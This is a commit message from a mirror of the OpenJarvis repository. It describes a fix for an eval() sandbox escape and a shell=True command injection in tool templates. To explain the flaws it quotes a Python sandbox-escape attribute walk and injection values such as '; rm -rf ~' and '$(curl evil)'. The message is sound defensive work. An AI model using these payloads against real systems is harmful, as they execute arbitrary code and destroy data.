mirror of
https://github.com/open-jarvis/OpenJarvis.git
synced 2026-07-28 05:12:26 +00:00
`python`-action tool templates evaluated expressions with `eval()` under a restricted `__builtins__`. That sandbox is escapable via attribute walks like `str.__class__.__mro__[-1].__subclasses__()`, reaching `object.__subclasses__()` and arbitrary code. `shell`-action templates interpolated parameters into a string and ran it with `shell=True`, so a value like `; rm -rf ~` or `$(curl evil)` executed in the host shell. Fixes: - Replace `eval()` with a small AST interpreter (`safe_eval_expr`) that implements an explicit node allowlist — literals, names, arithmetic/boolean/ comparison ops, ternaries, subscripts, container literals, and calls to a fixed set of builtins only. Attribute access, lambdas, comprehensions, and dunder names have no implementation and raise `ValueError`, so the escape vectors are unreachable by construction. No `eval`/`exec` remains. - Shell action: tokenize the FIXED template with `shlex.split` first, then substitute params into individual argv elements and run with `shell=False`. Injected metacharacters become inert literal arguments. All shipped builtin templates (`str(float(value))`, `str(input) if input else ...`, etc.) continue to work. Verified empirically: every known escape payload is rejected and a `; touch <marker>` / `$(touch <marker>)` / backtick injection never creates the marker file. Closes #216 Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>